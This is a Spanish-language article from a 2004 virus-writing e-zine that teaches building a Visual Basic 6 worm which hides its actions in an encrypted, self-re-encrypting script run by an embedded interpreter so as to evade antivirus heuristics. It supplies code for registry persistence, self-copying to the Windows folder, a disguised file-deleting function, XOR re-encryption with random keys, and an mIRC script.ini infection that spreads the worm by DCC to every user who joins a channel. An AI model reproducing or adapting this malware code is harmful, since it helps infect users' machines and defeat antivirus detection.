(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Polimorfismo en Visual Basic: El arte de interpretar... Autor : (\)emli(Y) Válido para : Microsoft Visual Basic 6 Como todos ya saben, el polimorfismo y el Visual Basic no se llevan de la mano. Podemos hacer virus polimorficos en vbs, pero ¿Por que no en Visual Basic? La respuesta a esta pregunta es muy facil. Lástima que yo no la conozca ;) La razon de que en el vbs se puedan usar metodos polimorficos es porque el vbs es solo un script. El programa que verdaderamente hace el trabajo es el wscript.exe ubicado en la carpeta de windows. Este lee y ejecuta las órdenes que aparezcan en ese script. Se le puso Visual Basic Script debido a que el lenguaje en el que se escriben es sino igual, muy parecido al del Visual Basic. El polimorfismo tiene lugar cuando el script se modifica asi mismo,y lo puede hacer ya que el script es solo texto. Es código sin compilar capaz de cambiar asi como se cambia un txt. En Visual Basic esto no se puede hacer ya que para que funcione el programa debe estar previamente compilado. Lo que haremos será hacer un interprete de scripts, que reconozca funciones y las ejecute, que pida y devuelva valores y que ejecute nuestras propias funciones. Este script deberá estar dentro del Exe (al final), y nuestro Interprete deberá justamente interpretar las órdenes del script y realizarlas correctamente. Seria algo asi como el trabajo que realiza el wscript.exe. Pero lo bueno viene en que podemos hacer nuestro propio lenguaje de script, segun nos quede mas comodo y asi burlarnos de los avs. P.Ej.: Si en el script figurase lo siguiente: MsgBox "Gedzac Has You", vbCritical, "Mitosis E-Zine" Nuestro interprete deberá reconocer las órdenes, en este caso la función MsgBox, y ejecutarlas con sus respectivos parámetros. Ahora, podriamos complicarla aún mas agregando funciones de encriptacion para los Script. De esta manera el script estaria encriptado, imposible de leer para las personas o programas ajenos. Hasta aqui todo bien, pero ¿por que polimorfico?. Al igual que los vbs, podriamos hacer que cada vez que se ejecute nuestro bicho, cambie la estructura del script, pero sin afectar en lo mas mínimo al programa. Pensemos... Si nuestro "Programita" lo que hace es buscar funciones y ejecutarlas y el script esta encriptado sin método externo alguno para desencriptarlo... ¿El antivirus detectará a nuestro bicho? Simplemente NO porque nuestro interprete no contendrá código dañino alguno que sea potencialmente peligroso frente a los ojos de los malditos antivirus. De esta manera, estariamos ejecutando funciones peligrosas y ya conocidas, y al mismo tiempo, burlando a la heurística ;) Algo que tiene que quedar claro antes de seguir, es que las funciones que nuestro programa interpretará no son las de VisualB, sino que seran solo las aquellas que hayan sido creadas por nosotros. Osea que si ponemos msgbox, y no tenemos ninguna funcion o procedimiento llamado asi, dará error. Supongamos que nuestro script dice algo asi: msgbox "C:\Command.com" y tenemos la siguiente funcion: Private Function msgbox(path As String) Kill path End Function Programamos a nuestro interprete para que la funcion msgbox no muestre un mensaje sino que borre los archivos que esten en los parámetros. Segun el SrNorton, el script VBS solo quiere mostrar un mensaje, pero segun nuestro interprete se eliminará lo que se pida. ¿Comprenden? Para que se comprenda mejor el funcionamiento a realizar por nuestro "programa" he desarrollado los siguientes esquemas: Esquema del Interprete SIN Encriptacion ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯ Cabezera PE Programa Interprete --->--->---> Leer Script --->---> Buscar Funciones: Script De Órdenes | | | | | | | MsgBox "Gedzac Has You" Ejecutar Funciones Encontradas Esquema del Interprete CON Encriptacion ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯ Cabezera PE Programa Interprete --->--->---> Leer Script --->--->--->--->. Script De Órdenes | | | | ,--> Desencriptar Script | Buscar Llave de-->-´ | | desencriptacion Buscar Funciones Tj~[va9;^|}cxz9Qxj9@vl; | Ejecutar Funciones ^ | '-<----<----<----<----Encriptar Script ----<----<----' Espero que se halla entendido... Hasta ahora lo teórico todo bien. Pero, ¿como hariamos que nuestro programa reconozca las órdenes?. Esto es lo difícil, y mas que nada "denso". Gracias a la funcion CallByName, se pueden llamar a procedimientos internos del formulario o modificar propiedades de controles, desde cadenas de tipo string. Esto significa que si nuestro formulario contiene un procedimiento : Private Sub Infectar(strPath as string) ... End Sub Podriamos llamarlo, por ejemplo, no desde el Call, sino desde : CallByName Me, "Infectar", VbMethod, "C:\Command.com". Como ven, puse la palabra Infectar entre comillas, esto significa que es texto y no una palabra clave interna de Visual. Texto como es el VBS. A esta altura ya se les deben haber prendido la lamparita a mas de uno, pero para dar mas info paso a explicar la estructura del CallByName mas detalladamente: CallByName Object, ProcName As String, CallType As VbCallType, Args() As Variant Object : este es el objeto o formulario que contiene la propiedad, funcion o procedimiento al cual se quiere llamar. ProcName : esta es la propiedad o el procedimiento que se quiere llamar. CallType : especifica el tipo de llamada. Solo veremos VbMethod, porque es el que se usa para llamar a las funciones. Args : Son los argumentos que necesiten las funciones a las cual llamaremos. Estas deben estar separadas por comas. Supongamos que nuestro programa tiene las siguientes funciones: 'Las variables Ws y FSO corresponden a los siguientes objetos 'Set Ws = CreateObject("Wscript.Shell") 'Set FSO = CreateObject("Scripting.FileSystemObject") Public Function Mensaje(ByVal prompt, Optional buttons = 0, Optional ByVal title) If Not IsMissing(buttons) Then buttons = Val(buttons) If IsMissing(title) Then title = App.EXEName If title = "" Then title = App.EXEName Mensaje = MsgBox(prompt, buttons, title) End Function Public Function LeerReg(ByVal strKey As String) On Error Resume Next LeerReg = Ws.RegRead(strKey) End Function Public Sub EscribirReg(ByVal bstrName As String, pvValue, Optional pvarType) If IsMissing(pvarType) Then Ws.RegWrite bstrName, pvValue Else Ws.RegWrite bstrName, pvValue, pvarType End If End Sub Public Function FileExists(ByVal FileSpec As String) As Boolean FileExists = FSO.FileExists(FileSpec) End Function Public Sub Copy(ByVal Source As String, ByVal Destination As String, _ Optional OverWriteFiles As String = "True") On Error Resume Next OverWriteFiles = CBool(OverWriteFiles) FSO.CopyFile Source, Destination, OverWriteFiles End Sub Public Sub CambiaTributos(Path As String, Attributes) Attributes = Val(Attributes) SetAttr Path, Attributes End Sub '------------------------------------EOF----------------------------------------- Pregunta: ¿Saltaría el antivirus, si solo tenemos estas funciones? Otra vez te contesto que no, ya que no hay en estas funciones ninguna accion peligrosa para los ojos antiviricos. Ademas, aqui no hay ninguna palabra clave que haga saltar a la heurística. Bien, lo mas dificil, pero no imposible, es armar el motor principal. Recordemos que a la hora de llamar a una funcion msgbox, puede ser facil programarlo, pero no lo sera cuando querramos setear variables, hacer comparaciones, bucles, etc. Una cosa que debes saber, es que los parámetros de las funciones solo pueden ser del tipo string. No podemos poner ni boleans, ni integers, ni nada de eso. --------------------------------------------------------------------------------- NOTA: El motor completo para que los siguientes ejemplos funcionen correctamente, se encuentra adjunto a esta E-Zine. El mismo, solo esta armado para funcionar con los siguientes Scripts, y puede que no funcione en determinadas circunstancias. --------------------------------------------------------------------------------- Ahora, supongamos que nuestro Script sea algo como este: setear $X = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\GDZ" setear $Reg = LeerReg($X) setear $existo = FileExists($Windir & "\aibi.exe") iff $reg = "" EscribirReg $X, $commandline end if iff $existo <> TRUE Copy $commandline, $windir & "\aibi.exe", True else setear $Path = "C:\mIRC\script.ini" setear $mIRC = FileExists($Path) iff $mIRC <> FALSE setear $script = "n0=on 1:JOIN:#:if ( $me != $nick ) {/dcc send $NICK " setear $script = $script & $commandline & "}" Escribir $Path, "[script]" Escribir $Path, $script end if end if Como ven estamos infectando el script.ini del mIRC. Esto es a modo ilustrativo para que ovserven que si funciona esta técnia. Ahora bien, el polimorfismo entra en juego no en el script, sino desde nuestro interprete. Decidi no realizar un ejemplo de esto, porque creo que si todos los que leen este articulo realizan el mismo interprete con las mismas operaciones de desencriptacion, la heuristica se reiria de nosotros, por eso, lo mejor es que cada uno, realize sus propios motores y funciones polimorficas. Pero para que se encaminen, este es un pequeño diagrama de como puede ser el polimorfismo: Programa: Private Sub Form_Load() Dim Script As String 'El script que se lee al final del programa. Script = "'K55.rDCRRDDX[XBYr]RZG[Xprsmvt" Key = Mid(Script, InStr(Script, "'K") + 2, InStr(Script, ".") - 3) Script = Mid(Script, InStr(Script, ".") + 1) a = q(Script, Key) ran = Int(Rnd * 100) Script = "'K" & ran & "." & q(a, ran) End Sub Public Function q(ByVal j As String, ByVal k As Long) 'Funcion para des/encriptar On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j, R, 1)) Xor k) Next End Function Ahora, puede que alguno me diga que en realidad mi programa no es polimorfico. Y tiene razon. No estamos haciendo ningun programa polimorfico, sino que solo es el script el que cambiará. Creo que ocultar las acciones que nuestro programa hace es suficiente como para no ser detectados por los antivirus, y en todo caso, el antivirus no puede tildar de virus a un interprete. Hay muchos programas que utilizan esta técnica con fines utiles, y no es un delito llamar a funciones propias. Además, esta técnica puede ser utilizada para cambiar las acciones que realiza un virus, desde otra parte del mundo. P.Ej.: Podemos hacer que el script sea bajado desde internet, y asi modificar a nuestro gusto las acciones. Seria como una especie de virus-troyano, pero con la ventaja de que no necesitamos conectarnos directamente a la otra computadora. En fin... Tiene muchas utilidades y no por leer e interpretar scripts nuestro programa es un virus. Espero que les haya servido de algo... "Imposible??? Solo es una palabra." (C) MITOSIS #2 E-Zine/GEDZAC 2004